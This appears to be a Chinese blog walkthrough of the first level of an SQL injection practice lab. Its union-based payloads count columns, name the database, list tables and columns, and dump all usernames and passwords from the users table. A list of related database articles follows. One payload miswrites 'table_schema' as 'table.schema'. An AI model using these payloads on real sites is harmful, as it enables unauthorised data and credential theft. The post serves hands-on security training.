sql注入——靶场Less1

?id=1

?id=99'union select 1,2,3--+

查看占位

?id=1' order by 3--+

尝试出表有几列

?id=1' order by 4--+

说明只有三列

?id=99' union select 1,database(),3--+

查询当前使用的数据库的名称

?id=99' union select 1,group_concat(table_name),3 from information_schema.tables where table.schema='security'--+

查询security表中有哪些表

?id=99' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

查询users表中有哪些信息

?id=99' union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+

展示所有users表中的信息

相关推荐
Sais_Z7 分钟前
ClickHouse的学习与了解
数据库·clickhouse
代码的余温30 分钟前
MySQL性能优化:10个关键参数调整指南
数据库·mysql·性能优化
silver98861 小时前
sql链接的url中serverTimezone的作用
数据库·sql
tanxiaomi2 小时前
数据库索引视角:对比二叉树到红黑树再到B树
数据结构·数据库·b树
水无痕simon2 小时前
5 索引的操作
数据库·elasticsearch
柏油3 小时前
可视化 MySQL binlog 监听方案
数据库·后端·mysql
k↑3 小时前
微服务之注册中心与ShardingSphere关于分库分表的那些事
数据库·微服务·架构·shardingsphere
sleetdream3 小时前
Flink Sql 按分钟或日期统计数据量
sql·flink
柏油4 小时前
MySQL 字符集 utf8 与 utf8mb4
数据库·后端·mysql